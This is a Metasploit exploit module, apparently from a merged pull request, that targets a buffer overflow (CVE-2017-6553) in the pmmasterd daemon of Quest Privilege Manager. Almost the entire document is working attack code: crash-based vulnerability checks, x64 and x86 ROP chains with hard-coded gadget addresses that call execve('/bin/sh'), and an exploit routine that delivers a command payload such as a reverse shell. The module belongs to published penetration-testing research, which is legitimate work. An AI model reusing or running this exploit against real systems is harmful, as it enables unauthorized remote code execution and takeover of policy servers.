Land #8223, Quest Privilege Manager pmmasterd Buffer Overflow
William Webb
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',
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'Description' => %q{
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This modules exploits a buffer overflow in the Quest Privilege Manager,
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a software used to integrate Active Directory with Linux and Unix systems.
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The vulnerability exists in the pmmasterd daemon, and can only triggered when
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the host has been configured as a policy server ( Privilege Manager for Unix
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or Quest Sudo Plugin). A buffer overflow condition exists when handling
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requests of type ACT_ALERT_EVENT, where the size of a memcpy can be
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controlled by the attacker. This module only works against version < 6.0.0-27.
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Versions up to 6.0.0-50 are also vulnerable, but not supported by this module (a stack cookie bypass is required).
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NOTE: To use this module it is required to be able to bind a privileged port ( <=1024 )
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as the server refuses connections coming from unprivileged ports, which in most situations
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means that root privileges are required.
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},
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'Author' =>
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[
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'm0t'
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],
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'References' =>
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[
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['CVE', '2017-6553'],
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['URL' , 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
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],
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'Payload' =>
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{
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'BadChars' => "",
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
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}
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},
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'Arch' => ARCH_CMD,
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'Platform' => 'unix',
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'Targets' =>
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[
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['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
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{
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:exploit => :exploit_x64,
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:check => :check_x64
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}
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],
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['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
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{
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:exploit => :exploit_x86,
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:check => :check_x86
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}
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]
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],
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'Privileged' => true,
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'DisclosureDate' => 'Apr 09 2017',
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'DefaultTarget' => 1
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))
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register_options([ Opt::RPORT(12345) ], self.class)
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register_options( [ Opt::CPORT(rand(1024))], self.class )
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end
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#definitely not stealthy! sends a crashing request, if the socket dies, or the output is partial it assumes the target has crashed. Although the daemon spawns a new process for each connection, the segfault will appear on syslog
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def check
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unless self.respond_to?(target[:check], true)
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fail_with(Failure::NoTarget, "Invalid target specified")
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end
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return self.send(target[:check])
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end
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def exploit
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unless self.respond_to?(target[:exploit], true)
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fail_with(Failure::NoTarget, "Invalid target specified")
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end
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request = self.send(target[:exploit])
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connect
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print_status("Sending trigger")
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sock.put(request)
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sock.get_once
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print_status("Sending payload")
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sock.put(payload.encoded)
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disconnect
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end
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#server should crash after parsing the packet, partial output is returned
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def check_x64
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head = [ 0x26c ].pack("N")
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head << [ 0x700 ].pack("N")
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head << [ 0x700 ].pack("N")
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head << "\x00"*68
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body = "PingE4.6 .0.0.27"
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body << rand_text_alpha(3000)
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request = head + body
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connect
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print_status("Sending trigger")
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sock.put(request)
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res = sock.timed_read(1024, 1)
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if res.match("Pong4$")
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Unknown
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end
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end
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#server should crash while parsing the packet, with no output
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def check_x86
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head = [ 0x26c ].pack("N")
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head << [ 0x700 ].pack("N")
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head << [ 0x700 ].pack("N")
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head << "\x00"*68
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body = rand_text_alpha(3000)
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request = head + body
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connect
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print_status("Sending trigger")
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sock.put(request)
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begin
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res = sock.timed_read(1024, 1)
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return Exploit::CheckCode::Unknown
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rescue ::Exception
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return Exploit::CheckCode::Appears
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end
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end
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def exploit_x64
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head = [ 0x26c ].pack("N")
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head << [ 0x700 ].pack("N")
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head << [ 0x700 ].pack("N")
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head << "\x00"*68
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#rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
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ropchain = [
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0x408f88, # pop rdi, ret
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0x4FA215, # /bin/sh
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0x40a99e, # pop rsi ; ret
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0, # argv @rsi
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0x40c1a0, # pop rax, ret
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0, # envp @rax
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0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
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0xcacc013, # padding
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0x408a98, # execve,
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0
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].pack("Q*")
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body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
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body << rand_text_alpha(1600)
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body << ropchain
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body << rand_text_alpha(0x700 - body.size())
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return head + body
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end
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def exploit_x86
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head = [ 0x26c ].pack("N")
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head << [ 0x108 ].pack("N")
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head << [ 0xcc ].pack("N")
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head << "\x00"*68
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#rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
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ropchain = [
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0x8093262, # ret
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0x73, # cs reg
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0x804AE2C, # execve,
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0xcacc013, # padding
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0x8136CF0, # /bin/sh
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0,
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0
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].pack("V*")
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pivotback = 0x08141223 # sub esp, ebx ; retf
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writable = 0x81766f8 # writable loc
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body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
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body << rand_text_alpha(104)
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body << ropchain
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body << rand_text_alpha(0xb4 - body.size())
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body << [0x50].pack("V")
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body << rand_text_alpha(0xc4 - body.size())
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body << [pivotback].pack("V")
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body << [writable].pack("V")
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body << rand_text_alpha(0x108 - body.size())
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return head + body
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end
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end
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